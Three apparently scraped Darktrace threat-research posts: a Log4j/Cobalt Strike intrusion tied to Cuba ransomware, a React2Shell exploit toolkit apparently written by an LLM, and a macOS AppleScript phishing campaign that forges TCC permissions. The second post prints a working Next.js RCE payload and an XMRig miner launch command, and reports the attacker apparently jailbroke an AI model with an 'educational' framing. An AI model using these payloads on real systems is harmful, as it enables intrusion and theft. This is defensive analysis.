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April 5, 2022

How Darktrace Antigena Thwarted Cobalt Strike Attack

Learn how Darktrace's Antigena technology intercepted and delayed a Cobalt Strike intrusion. Discover more cybersecurity news and analyses on Darktrace's blog.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Dylan Evans
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05
Apr 2022

In December 2021 several CVEs[1] were issued for the Log4j vulnerabilities that sent security teams into a global panic. Threat actors are now continuously scanning external infrastructure for evidence of the vulnerability to deploy crypto-mining malware.[2] However, through December ‘21 – February ‘22, it was ransomware groups that seized the initiative.

Compromise

In January 2022, a Darktrace customer left an external-facing VMware server unpatched allowing Cobalt Strike to be successfully installed. Several IoCs indicate that Cuba Ransomware operators were behind the attack. Thanks to the Darktrace SOC service, the customer was notified of the active threat on their network, and Antigena’s Autonomous Response was able to keep the attackers at bay before encryption events took place.

Initially the VMware server breached two models relating to an anomalous script download and a new user agent both connecting via HTTP. As referenced in an earlier Darktrace blog, both of these models had been seen in previous Log4j exploits. As with all Darktrace models however, the model deck is not designed to detect only one exploit, infection variant, or APT.

Figure 1: Darktrace models breaching due to the malicious script download

Analyst investigation

A PCAP of the downloaded script showed that it contained heavily obfuscated JavaScript. After an OSINT investigation a similar script was uncovered which likely breached the same Yara rules.

Figure 2: PCAP of the Initial HTTP GET request for the Windows Script component

Figure 3: PCAP of the initial HTTP response containing obfuscated JavaScript

Figure 4: A similar script that has been observed installing additional payloads after an initial infection[3]

While not an exact match, this de-obfuscated code shared similarities to those seen when downloading other banking trojans.

Having identified on the Darktrace UI that this was a VMware server, the analyst isolated the incoming external connections to the server shortly prior to the HTTP GET requests and was able to find an IP address associated with Log4j exploit attempts.

Figure 5: Advanced Search logs showing incoming SSL connections from an IP address linked to Log4j exploits

Through Advanced Search the analyst identified spikes shortly prior and immediately after the download. This suggested the files were downloaded and executed by exploiting the Log4j vulnerability.

Antigena response

Figure 6: AI Analyst reveals both the script downloads and the unusual user agent associated with the connections

Figure 7: Antigena blocked all further connections to these endpoints following the downloads

Cobalt Strike

Cobalt Strike is a popular tool for threat actors as it can be used to perform a swathe of MITRE ATT&CK techniques. In this case the threat actor attempted command and control tactics to pivot through the network, however, Antigena responded promptly when the malware attempted to communicate with external infrastructure.

On Wednesday January 26, the DNS beacon attempted to connect to malicious infrastructure. Antigena responded, and a Darktrace SOC analyst issued an alert.

Figure 8: A Darktrace model detected the suspicious DNS requests and Antigena issued a response

The attacker changed their strategy by switching to a different server “bluetechsupply[.]com” and started issuing commands over TLS. Again, Darktrace detected these connections and AI Analyst reported on the incident (Figure 9, below). OSINT sources subsequently indicated that this destination is affiliated with Cobalt Strike and was only registered 14 days prior to this incident.

Figure 9: AI Analyst summary of the suspicious beaconing activity

Simultaneous to these connections, the device scanned multiple internal devices via an ICMP scan and then scanned the domain controller over key TCP ports including 139 and 445 (SMB). This was followed by an attempt to write an executable file to the domain controller. While Antigena intervened in the file write, another Darktrace SOC analyst was issuing an alert due to the escalation in activity.

Figure 10: AI Analyst summary of the .dll file that Antigena intercepted to the Windows/temp directory of the domain controller

Following the latest round of Antigena blocks, the threat actor attempted to change methods again. The VMware server utilised the Remote Access Tool/Trojan NetSupport Manager in an attempt to install further malware.

Figure 11: Darktrace reveals the attacker changing tactics

Despite this escalation, Darktrace yet again blocked the connection.

Perhaps due to an inability to connect to C2 infrastructure, the attack stopped in its tracks for around 12 hours. Thanks to Antigena and the Darktrace SOC team, the security team had been afforded time to remediate and recover from the active threat in their network. Interestingly, Darktrace detected a final attempt at pivoting from the machine, with an unusual PowerShell Win-RM connection to an internal machine. The modern Win-RM protocol typically utilises port 5985 for HTTP connections however pre-Windows 7 machines may use Windows 7 indicating this server was running an old OS.

Figure 12: Darktrace detects unusual PowerShell usage

Cuba Ransomware

While no active encryption appears to have taken place for this customer, a range of IoCs were identified which indicated that the threat actor was the group being tracked as UNC2596, the operators of Cuba Ransomware.[4]

These IoCs include: one of the initially dropped files (komar2.ps1,[5] revealed by AI Analyst in Figure 6), use of the NetSupport RAT,[6] and Cobalt Strike beaconing.[7] These were implemented to maintain persistence and move laterally across the network.

Cuba Ransomware operators prefer to exfiltrate data to their beacon infrastructure rather than using cloud storage providers, however no evidence of upload activity was observed on the customer’s network.

Concluding thoughts

Unpatched, external-facing VMware servers vulnerable to the Log4j exploit are actively being targeted by threat actors with the aim of ransomware detonation. Without using rules or signatures, Darktrace was able to detect all stages of the compromise. While Antigena delayed the attack, forcing the threat actor to change C2 servers constantly, the Darktrace analyst team relayed their findings to the security team who were able to remediate the compromised machines and prevent a final ransomware payload from detonating.

For Darktrace customers who want to find out more about Cobalt Strike, refer here for an exclusive supplement to this blog.

Appendix

Darktrace model detections

Initial Compromise:

  • Device / New User Agent To Internal Server
  • Anomalous Server Activity / New User Agent from Internet Facing System
  • Experimental / Large Number of Suspicious Successful Connections

Breaches from Critical Devices / DC:

  • Device / Large Number of Model Breaches
  • Antigena / Network / External Threat / Antigena File then New Outbound Block
  • Device / SMB Lateral Movement
  • Experimental / Unusual SMB Script Write V2
  • Compliance / High Priority Compliance Model Breach
  • Anomalous Server Activity / Anomalous External Activity from Critical Network Device
  • Experimental / Possible Cobalt Strike Server IP V2

Lateral Movement:

  • Antigena / Network / Insider Threat / Antigena Internal Anomalous File Activity
  • Compliance / SMB Drive Write
  • Anomalous File / Internal / Executable Uploaded to DC
  • Experimental / Large Number of Suspicious Failed Connections
  • Compromise / Suspicious Beaconing Behaviour
  • Antigena / Network / Significant Anomaly / Antigena Breaches Over Time Block
  • Antigena / Network / External Threat / Antigena Suspicious Activity Block
  • Anomalous Connection / High Volume of Connections to Rare Domain
  • Antigena / Network / Significant Anomaly / Antigena Enhanced Monitoring from Server Block

Network Scan Activity:

  • Device / Suspicious SMB Scanning Activity
  • Experimental / Network Scan V2
  • Device / ICMP Address Scan
  • Experimental / Possible SMB Scanning Activity
  • Experimental / Possible SMB Scanning Activity V2
  • Antigena / Network / Insider Threat / Antigena Network Scan Block
  • Device / Network Scan
  • Compromise / DNS / Possible DNS Beacon
  • Device / Internet Facing Device with High Priority Alert
  • Antigena / Network / Significant Anomaly / Antigena Enhanced Monitoring from Server Block

DNS / Cobalt Strike Activity:

  • Experimental / Possible Cobalt Strike Server IP
  • Experimental / Possible Cobalt Strike Server IP V2
  • Antigena / Network / External Threat / Antigena File then New Outbound Block
  • Antigena / Network / External Threat / Antigena Suspicious File Block
  • Anomalous Connection / New User Agent to IP Without Hostname
  • Anomalous File / Script from Rare External Location

MITRE ATT&CK techniques observed

IoCs

Thanks to Brianna Leddy, Sam Lister and Marco Alanis for their contributions.

Footnotes

1.

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44530
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-4104

2. https://www.toolbox.com/it-security/threat-reports/news/log4j-vulnerabilities-exploitation-attempts

3. https://twitter.com/ItsReallyNick/status/899845845906071553

4. https://www.mandiant.com/resources/unc2596-cuba-ransomware

5. https://www.ic3.gov/Media/News/2021/211203-2.pdf

6. https://threatpost.com/microsoft-exchange-exploited-cuba-ransomware/178665/

7. https://www.bleepingcomputer.com/news/security/microsoft-exchange-servers-hacked-to-deploy-cuba-ransomware/

8. https://gist.github.com/blotus/f87ed46718bfdc634c9081110d243166

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Dylan Evans

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February 10, 2026

AI/LLM-Generated Malware Used to Exploit React2Shell

AI/LLM-Generated Malware Used to Exploit React2ShellDefault blog imageDefault blog image

Introduction

To observe adversary behavior in real time, Darktrace operates a global honeypot network known as “CloudyPots”, designed to capture malicious activity across a wide range of services, protocols, and cloud platforms. These honeypots provide valuable insights into the techniques, tools, and malware actively targeting internet‑facing infrastructure.

A recently observed intrusion against Darktrace’s Cloudypots environment revealed a fully AI‑generated malware sample exploiting CVE-2025-55182, also known as React2Shell. As AI‑assisted software development (“vibecoding”) becomes more widespread, attackers are increasingly leveraging large language models to rapidly produce functional tooling. This incident illustrates a broader shift: AI is now enabling even low-skill operators to generate effective exploitation frameworks at speed. This blog examines the attack chain, analyzes the AI-generated payload, and outlines what this evolution means for defenders.

Initial access

The intrusion was observed against the Darktrace Docker honeypot, which intentionally exposes the Docker daemon internet-facing with no authentication. This configuration allows any attacker to discover the daemon and create a container via the Docker API.

The attacker was observed spawning a container named “python-metrics-collector”, configured with a start up command that first installed prerequisite tools including curl, wget, and python 3.

Container spawned with the name ‘python-metrics-collector’.
Figure 1: Container spawned with the name ‘python-metrics-collector’.

Subsequently, it will download a list of required python packages from

  • hxxps://pastebin[.]com/raw/Cce6tjHM,

Finally it will download and run a python script from:

  • hxxps://smplu[.]link/dockerzero.

This link redirects to a GitHub Gist hosted by user “hackedyoulol”, who has since been banned from GitHub at time of writing.

  • hxxps://gist.githubusercontent[.]com/hackedyoulol/141b28863cf639c0a0dd563344101f24/raw/07ddc6bb5edac4e9fe5be96e7ab60eda0f9376c3/gistfile1.txt

Notably the script did not contain a docker spreader – unusual for Docker-focused malware – indicating that propagation was likely handled separately from a centralized spreader server.

Deployed components and execution chain

The downloaded Python payload was the central execution component for the intrusion. Obfuscation by design within the sample was reinforced between the exploitation script and any spreading mechanism. Understanding that docker malware samples typically include their own spreader logic, the omission suggests that the attacker maintained and executed a dedicated spreading tool remotely.

The script begins with a multi-line comment:
"""
   Network Scanner with Exploitation Framework
   Educational/Research Purpose Only
   Docker-compatible: No external dependencies except requests
"""

This is very telling, as the overwhelming majority of samples analysed do not feature this level of commentary in files, as they are often designed to be intentionally difficult to understand to hinder analysis. Quick scripts written by human operators generally prioritize speed and functionality over clarity. LLMs on the other hand will document all code with comments very thoroughly by design, a pattern we see repeated throughout the sample.  Further, AI will refuse to generate malware as part of its safeguards.

The presence of the phrase “Educational/Research Purpose Only” additionally suggests that the attacker likely jailbroke an AI model by framing the malicious request as educational.

When portions of the script were tested in AI‑detection software, the output further indicated that the code was likely generated by a large language model.

GPTZero AI-detection results indicating that the script was likely generated using an AI model.
Figure 2: GPTZero AI-detection results indicating that the script was likely generated using an AI model.

The script is a well constructed React2Shell exploitation toolkit, which aims to gain remote code execution and deploy a XMRig (Monero) crypto miner. It uses an IP‑generation loop to identify potential targets and executes a crafted exploitation request containing:

  • A deliberately structured Next.js server component payload
  • A chunk designed to force an exception and reveal command output
  • A child process invocation to run arbitrary shell commands

    def execute_rce_command(base_url, command, timeout=120):  
    """ ACTUAL EXPLOIT METHOD - Next.js React Server Component RCE
    DO NOT MODIFY THIS FUNCTION
    Returns: (success, output)  
    """  
    try: # Disable SSL warnings     urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

 crafted_chunk = {
      "then": "$1:__proto__:then",
      "status": "resolved_model",
      "reason": -1,
      "value": '{"then": "$B0"}',
      "_response": {
          "_prefix": f"var res = process.mainModule.require('child_process').execSync('{command}', {{encoding: 'utf8', maxBuffer: 50 * 1024 * 1024, stdio: ['pipe', 'pipe', 'pipe']}}).toString(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
          "_formData": {
              "get": "$1:constructor:constructor",
          },
      },
  }

  files = {
      "0": (None, json.dumps(crafted_chunk)),
      "1": (None, '"$@0"'),
  }

  headers = {"Next-Action": "x"}

  res = requests.post(base_url, files=files, headers=headers, timeout=timeout, verify=False)

This function is initially invoked with ‘whoami’ to determine if the host is vulnerable, before using wget to download XMRig from its GitHub repository and invoking it with a configured mining pool and wallet address.

]\

WALLET = "45FizYc8eAcMAQetBjVCyeAs8M2ausJpUMLRGCGgLPEuJohTKeamMk6jVFRpX4x2MXHrJxwFdm3iPDufdSRv2agC5XjykhA"
XMRIG_VERSION = "6.21.0"
POOL_PORT_443 = "pool.supportxmr.com:443"
...
print_colored(f"[EXPLOIT] Starting miner on {identifier} (port 443)...", 'cyan')  
miner_cmd = f"nohup xmrig-{XMRIG_VERSION}/xmrig -o {POOL_PORT_443} -u {WALLET} -p {worker_name} --tls -B >/dev/null 2>&1 &"

success, _ = execute_rce_command(base_url, miner_cmd, timeout=10)

Many attackers do not realise that while Monero uses an opaque blockchain (so transactions cannot be traced and wallet balances cannot be viewed), mining pools such as supportxmr will publish statistics for each wallet address that are publicly available. This makes it trivial to track the success of the campaign and the earnings of the attacker.

 The supportxmr mining pool overview for the attackers wallet address
Figure 3: The supportxmr mining pool overview for the attackers wallet address

Based on this information we can determine the attacker has made approx 0.015 XMR total since the beginning of this campaign, which as of writing is valued at £5. Per day, the attacker is generating 0.004 XMR, which is £1.33 as of writing. The worker count is 91, meaning that 91 hosts have been infected by this sample.

Conclusion

While the amount of money generated by the attacker in this case is relatively low, and cryptomining is far from a new technique, this campaign is proof that AI based LLMs have made cybercrime more accessible than ever. A single prompting session with a model was sufficient for this attacker to generate a functioning exploit framework and compromise more than ninety hosts, demonstrating that the operational value of AI for adversaries should not be underestimated.

CISOs and SOC leaders should treat this event as a preview of the near future. Threat actors can now generate custom malware on demand, modify exploits instantly, and automate every stage of compromise. Defenders must prioritize rapid patching, continuous attack surface monitoring, and behavioral detection approaches. AI‑generated malware is no longer theoretical — it is operational, scalable, and accessible to anyone.

Analyst commentary

It is worth noting that the downloaded script does not appear to include a Docker spreader, meaning the malware will not replicate to other victims from an infected host. This is uncommon for Docker malware, based on other samples analyzed by Darktrace researchers. This indicates that there is a separate script responsible for spreading, likely deployed by the attacker from a central spreader server. This theory is supported by the fact that the IP that initiated the connection, 49[.]36.33.11, is registered to a residential ISP in India. While it is possible the attacker is using a residential proxy server to cover their tracks, it is also plausible that they are running the spreading script from their home computer. However, this should not be taken as confirmed attribution.

Credit to Nathaniel Bill (Malware Research Engineer), Nathaniel Jones ( VP Threat Research | Field CISO AI Security)

Edited by Ryan Traill (Analyst Content Lead)

Indicators of Compromise (IoCs)

Spreader IP - 49[.]36.33.11
Malware host domain - smplu[.]link
Hash - 594ba70692730a7086ca0ce21ef37ebfc0fd1b0920e72ae23eff00935c48f15b
Hash 2 - d57dda6d9f9ab459ef5cc5105551f5c2061979f082e0c662f68e8c4c343d667d

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Nathaniel Bill
Malware Research Engineer

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February 9, 2026

AppleScript Abuse: Unpacking a macOS Phishing Campaign

AppleScript Abuse: Unpacking a macOS Phishing CampaignDefault blog imageDefault blog image

Introduction

Darktrace security researchers have identified a campaign targeting macOS users through a multistage malware campaign that leverages social engineering and attempted abuse of the macOS Transparency, Consent and Control (TCC) privacy feature.

The malware establishes persistence via LaunchAgents and deploys a modular Node.js loader capable of executing binaries delivered from a remote command-and-control (C2) server.

Due to increased built-in security mechanisms in macOS such as System Integrity Protection (SIP) and Gatekeeper, threat actors increasingly rely on alternative techniques, including fake software and ClickFix attacks [1] [2]. As a result, macOS threats r[NJ1] ely more heavily on social engineering instead of vulnerability exploitation to deliver payloads, a trend Darktrace has observed across the threat landscape [3].

Technical analysis

The infection chain starts with a phishing email that prompts the user to download an AppleScript file named “Confirmation_Token_Vesting.docx.scpt”, which attemps to masquerade as a legitimate Microsoft document.

The AppleScript header prompting execution of the script.
Figure 1: The AppleScript header prompting execution of the script.

Once the user opens the AppleScript file, they are presented with a prompt instructing them to run the script, supposedly due to “compatibility issues”. This prompt is necessary as AppleScript requires user interaction to execute the script, preventing it from running automatically. To further conceal its intent, the malicious part of the script is buried below many empty lines, assuming a user likely will not to the end of the file where the malicious code is placed.

Curl request to receive the next stage.
Figure 2: Curl request to receive the next stage.

This part of the script builds a silent curl request to “sevrrhst[.]com”, sending the user’s macOS operating system, CPU type and language. This request retrieves another script, which is saved as a hidden file at in ~/.ex.scpt, executed, and then deleted.

The retrieved payload is another AppleScript designed to steal credentials and retrieve additional payloads. It begins by loading the AppKit framework, which enables the script to create a fake dialog box prompting the user to enter their system username and password [4].

 Fake dialog prompt for system password.
Figure 3: Fake dialog prompt for system password.

The script then validates the username and password using the command "dscl /Search -authonly <username> <password>", all while displaying a fake progress bar to the user. If validation fails, the dialog window shakes suggesting an incorrect password and prompting the user to try again. The username and password are then encoded in Base64 and sent to: https://sevrrhst[.]com/css/controller.php?req=contact&ac=<user>&qd=<pass>.

Figure 4: Requirements gathered on trusted binary.

Within the getCSReq() function, the script chooses from trusted Mac applications: Finder, Terminal, Script Editor, osascript, and bash. Using the codesign command codesign -d --requirements, it extracts the designated code-signing requirement from the target application. If a valid requirement cannot be retrieved, that binary is skipped. Once a designated requirement is gathered, it is then compiled into a binary trust object using the Code Signing Requirement command (csreq). This trust object is then converted into hex so it can later be injected into the TCC SQLite database.[NB2]

To bypass integrity checks, the TCC directory is renamed to com.appled.tcc using Finder. TCC is a macOS privacy framework designed to restrict application access to sensitive data, requiring users to explicitly grant permissions before apps can access items such as files, contacts, and system resources [1].

Example of how users interact with TCC.
Figure 5: TCC directory renamed to com.appled.TCC.
Figure 6: Example of how users interact with TCC.

After the database directory rename is attempted, the killall command is used on the tccd daemon to force macOS to release the lock on the database. The database is then injected with the forged access records, including the service, trusted binary path, auth_value, and the forged csreq binary. The directory is renamed back to com.apple.TCC, allowing the injected entries to be read and the permissions to be accepted. This enables persistence authorization for:

  • Full disk access
  • Screen recording
  • Accessibility
  • Camera
  • Apple Events 
  • Input monitoring

The malware does not grant permissions to itself; instead, it forges TCC authorizations for trusted Apple-signed binaries (Terminal, osascript, Script Editor, and bash) and then executes malicious actions through these binaries to inherit their permissions.

Although the malware is attempting to manipulate TCC state via Finder, a trusted system component, Apple has introduced updates in recent macOS versions that move much of the authorization enforcement into the tccd daemon. These updates prevent unauthorized permission modifications through directory or database manipulation. As a result, the script may still succeed on some older operating systems, but it is likely to fail on newer installations, as tcc.db reloads now have more integrity checks and will fail on Mobile Device Management (MDM) [NB5] systems as their profiles override TCC.

 Snippet of decoded Base64 response.
Figure 7: Snippet of decoded Base64 response.

A request is made to the C2, which retrieves and executes a Base64-encoded script. This script retrieves additional payloads based on the system architecture and stores them inside a directory it creates named ~/.nodes. A series of requests are then made to sevrrhst[.]com for:

/controller.php?req=instd

/controller.php?req=tell

/controller.php?req=skip

These return a node archive, bundled Node.js binary, and a JavaScript payload. The JavaScript file, index.js, is a loader that profiles the system and sends the data to the C2. The script identified the system platform, whether macOS, Linux or Windows, and then gathers OS version, CPU details, memory usage, disk layout, network interfaces, and running process. This is sent to https://sevrrhst[.]com/inc/register.php?req=init as a JSON object. The victim system is then registered with the C2 and will receive a Base64-encoded response.

LaunchAgent patterns to be replaced with victim information.
Figure 8: LaunchAgent patterns to be replaced with victim information.

The Base64-encoded response decodes to an additional Javacript that is used to set up persistence. The script creates a folder named com.apple.commonjs in ~/Library and copies the Node dependencies into this directory. From the C2, the files package.json and default.js are retrieved and placed into the com.apple.commonjs folder. A LaunchAgent .plist is also downloaded into the LaunchAgents directory to ensure the malware automatically starts. The .plist launches node and default.js on load, and uses output logging to log errors and outputs.

Default.js is Base64 encoded JavaScript that functions as a command loop, periodically sending logs to the C2, and checking for new payloads to execute. This gives threat actors ongoing and the ability to dynamically modify behavior without having to redeploy the malware. A further Base64-encoded JavaScript file is downloaded as addon.js.

Addon.js is used as the final payload loader, retrieving a Base64-encoded binary from https://sevrrhst[.]com/inc/register.php?req=next. The binary is decoded from Base64 and written to disk as “node_addon”, and executed silently in the background. At the time of analysis, the C2 did not return a binary, possibly because certain conditions were not met.  However, this mechanism enables the delivery and execution of payloads. If the initial TCC abuse were successful, this payload could access protected resources such as Screen Capture and Camera without triggering a consent prompt, due to the previously established trust.

Conclusion

This campaign shows how a malicious threat actor can use an AppleScript loader to exploit user trust and manipulate TCC authorization mechanisms, achieving persistent access to a target network without exploiting vulnerabilities.

Although recent macOS versions include safeguards against this type of TCC abuse, users should keep their systems fully updated to ensure the most up to date protections.  These findings also highlight the intentions of threat actors when developing malware, even when their implementation is imperfect.

Credit to Tara Gould (Malware Research Lead)
Edited by Ryan Traill (Analyst Content Lead)

Indicators of Compromise (IoCs)

88.119.171[.]59

sevrrhst[.]com

https://sevrrhst[.]com/inc/register.php?req=next

https://stomcs[.]com/inc/register.php?req=next
https://techcross-es[.]com

Confirmation_Token_Vesting.docx.scpt - d3539d71a12fe640f3af8d6fb4c680fd

EDD_Questionnaire_Individual_Blank_Form.docx.scpt - 94b7392133935d2034b8169b9ce50764

Investor Profile (Japan-based) - Shiro Arai.pdf.scpt - 319d905b83bf9856b84340493c828a0c

MITRE ATTACK

T1566 - Phishing

T1059.002 - Command and Scripting Interpreter: Applescript

T1059.004 – Command and Scripting Interpreter: Unix Shell

T1059.007 – Command and Scripting Interpreter: JavaScript

T1222.002 – File and Directory Permissions Modification

T1036.005 – Masquerading: Match Legitimate Name or Location

T1140 – Deobfuscate/Decode Files or Information

T1547.001 – Boot or Logon Autostart Execution: Launch Agent

T1553.006 – Subvert Trust Controls: Code Signing Policy Modification

T1082 – System Information Discovery

T1057 – Process Discovery

T1105 – Ingress Tool Transfer

References

[1] https://www.darktrace.com/blog/from-the-depths-analyzing-the-cthulhu-stealer-malware-for-macos

[2] https://www.darktrace.com/blog/unpacking-clickfix-darktraces-detection-of-a-prolific-social-engineering-tactic

[3] https://www.darktrace.com/blog/crypto-wallets-continue-to-be-drained-in-elaborate-social-media-scam

[4] https://developer.apple.com/documentation/appkit

[5] https://www.huntress.com/blog/full-transparency-controlling-apples-tcc

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About the author
Tara Gould
Malware Research Lead
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